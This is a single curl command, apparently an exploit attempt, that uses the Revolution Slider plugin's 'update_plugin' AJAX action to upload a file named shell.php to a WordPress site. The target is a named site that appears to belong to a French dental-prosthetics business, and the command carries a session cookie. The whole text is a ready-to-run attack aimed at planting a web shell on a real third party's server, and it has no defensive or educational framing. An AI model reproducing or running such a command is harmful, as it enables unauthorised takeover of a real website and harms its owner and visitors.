curl -X POST "https://benoit-dumoulin-prothesiste-dentaire.fr/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=update_plugin" \
-H "Cookie: PHPSESSID=87643e6b1a95385a5759c0d24d1007c6" \
-F "action=revslider_ajax_action" \
-F "client_action=update_plugin" \
-F "update_file=@./shell.php"